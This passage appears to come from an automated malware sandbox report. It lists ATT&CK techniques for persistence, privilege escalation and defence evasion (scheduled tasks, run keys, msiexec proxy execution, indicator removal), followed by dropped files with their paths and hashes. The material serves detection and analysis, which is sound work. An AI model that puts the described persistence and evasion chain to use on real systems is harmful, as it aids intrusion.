1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Indicator Removal
1Clear Persistence
1Modify Registry
1System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e59edb3.rbs
- Size 7KB
- SHA256 be9b88d02708c39f5382fc5a88b713ce9437a613950982b4afb788abb0dec3eb
- MD5 8d99f29e2b8d809372d043240dc610a1
- SHA1 aec6918cab2a2f990626737c65e7b16a4e429713
- SHA512 813ebb9b370d096ff1e8f7a2b37a79ca3cf556667e18617a5262739a57a59f43b90faaeb321894b2d86baf2f06cf76d15f7654c0d5f1180cc741f7040431e118
- SSDEEP 192:JWCrlv8ibI1ibMSwF83JHsS15ePH3vp5EAsrCRm8X:JAiOir0Hn
- TLSH T166F13F4276484AE2F9D31F3AC7035B6A37B2D7E95314A31F48CD48701F433C9AEA958A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\KEgb5Q\D4KfUy.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\KEgb5Q\UxEnhance64.dll
- Size 3.1MB
- SHA256 e9875681bba263b920c087dc3ff77d34d2ab11a8b2b8c91beb4e0ef2f7fb2ee1
- MD5 8ce9f5027fbb5f749d2dfb137482ad4a
- SHA1 0bb976dcaae0e76f6efb5a23abe50d7c1e913ebd
- SHA512 8d7d5bf742fb7d02eebd9cba862e0b0f153b33a79ffa6b960736cb5a2fa3a360e6c3558ed3ccb57c6003dcb1fe0dbfa8a971a7c61fa3f7f24d5f2dbf87001717
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+S:P9m29xx3Tiqt06ox6+z2rNNrKoS
- TLSH T19AE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\KEgb5Q\adoresd.dat
- Size 4.8MB
- SHA256 4451cdee7acfb78722e325709fa596493fcfb2ace5dc6ab29a40094208ce6e62
- MD5 32c087110b0a945120770abc7e750753
- SHA1 991805c18c70a16499cbc8a0322560665c2c0e0e
- SHA512 28df6613fa27d291a7c516d1a1f2faace848bbf89db48a3fbc5c395b4794b4033c51460504933bbef797b41ea7d13e2368d9208468374efa3a0c7318519e6fe7
- SSDEEP 98304:euZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:jQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T191363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\KEgb5Q\msadox.tb
- Size 8KB
- SHA256 e002134b01a7ad6ade0f19497b036d69de75de151645177cd618d5fa46d60398
- MD5 6cf6179a048ed79ec35b3bb95ae599ff
- SHA1 a44ed989a42d7a8966b8f0fcd8277b1630e2488e
- SHA512 769c2711d38d110dba840803213957e49e724d3f0252a06f1f859515e5a726ab6876cb4f7cc6dc43ba7dee9257a0aa800d485a8ca7e49e771d112b1548448606
- SSDEEP 192:eqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:esZqZOXQ3uqvR2Kfzp
- TLSH T1B3029E06D7B20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSIF42B.tmp
- Size 9.6MB
- SHA256 16d3acac1667c1bff416bf36012c6145da08ce47d573baad1a34185cde6cdfd1
- MD5 088f5609f09ddd4aad8ac04929486b1a
- SHA1 a5392a3716535c7cae1127dde58a0ead18d232c1
- SHA512 936aba34f8db8a1d12974afb9a8348508aec4aafcd511b825a4a34f1a388d800a27262ad79f1f04ccb27fdff7f45cb48b77511f4bb245b42afb27568b88c9622
- SSDEEP 196608:VbWUkwQHVfYFz/MS98s2k7Obu/mk4kUb+/q6NCF3u3Z:dsRHVS71f2gObOmLkUbMU3+
- TLSH T140A633E5BDD54A31D007C77891C1BAEEB01D3BC5BE7F1E017AE83A40CD6268A2039799
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e59edb2.msi
- Size 9.6MB
- SHA256 bad1bcd47849cbbf8fcf30cb255ddb5a2d9f05783e3376cc5a938daf49d62796
- MD5 74aa0e5f83128af6da9e7830b2d6e128
- SHA1 55f7d2bb9db6eacd24584c4c605380851e783ea7
- SHA512 cfde2ea9f43e7fe546c291e646c4b8bd6d33fc2477892879b94f8796307044a3b339c590aab96525eff73717766bdd2d77b12d853c385e6556a6615dda0b983e
- SSDEEP 196608:fbWUkwQHVfYrz/MS98s2k7Obu/mk4kUb+/q6YCF3u3o:DsRHVg71f2gObOmLkUbMJ39
- TLSH T12DA633D5BDD14A31D007C77891C2AAEEB01D3FC4BE7E5A027AD93B40CD72696207A798
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 285c024b381175016adcabfb1bc5799eb15e3499a3da50786ff05bb09e235557
- MD5 9ee5e652a0b391bad8e0db0aacfa7fdb
- SHA1 6c911c9af0a35022ac354be8b21bb8f09f06ebbc
- SHA512 fffcd755917cc593d4fdbf80f1af7cfdaa6554d624131249c42166f2121f7c289bfe2c3fb297f1282537e6e8aaeddbc91ddb132e31fc38a8d6e6d3d849aad836
- SSDEEP 24576:EFo3DMPCdoO/vvTL/yAjDilQP7eJY7Eg0+1xNudb1WtqJESTsIRmD6pin+n:HHk
- TLSH T1E357B31436F92200E7B79E3DB8F06A234D397D5BAC15DE8D45511B8E0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{f87534f2-ab28-43cf-bbd1-64d860eb9e56}_OnDiskSnapshotProp
- Size 6KB
- SHA256 a58e18a3c0c55d8f72db566e2ff291d1098741826c38d4f1d2f82ea2fbbd0f83
- MD5 ed2d440149489d491ec0ade13bb07c55
- SHA1 cb5174cf8f29c6adde3fadd6eb9536e238d9b0f4
- SHA512 a0ce4266cb57970c05c42cdd6f48e78fe1bf0aaa3f6163f20b456e0d6911faf6e4c8f5d11ea263eb0de2b0fc586d8b0f00dd048b6e0633533c0204e5a10ebe4b
- SSDEEP 96:F6I6bMvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:oIRb++uVm
- TLSH T159D178185AF54711E2B3AB712DF18557A837B911EF33CB8E0198238E6631A10F935F6B
- MD5 SHA1 SHA512 SSDEEP TLSH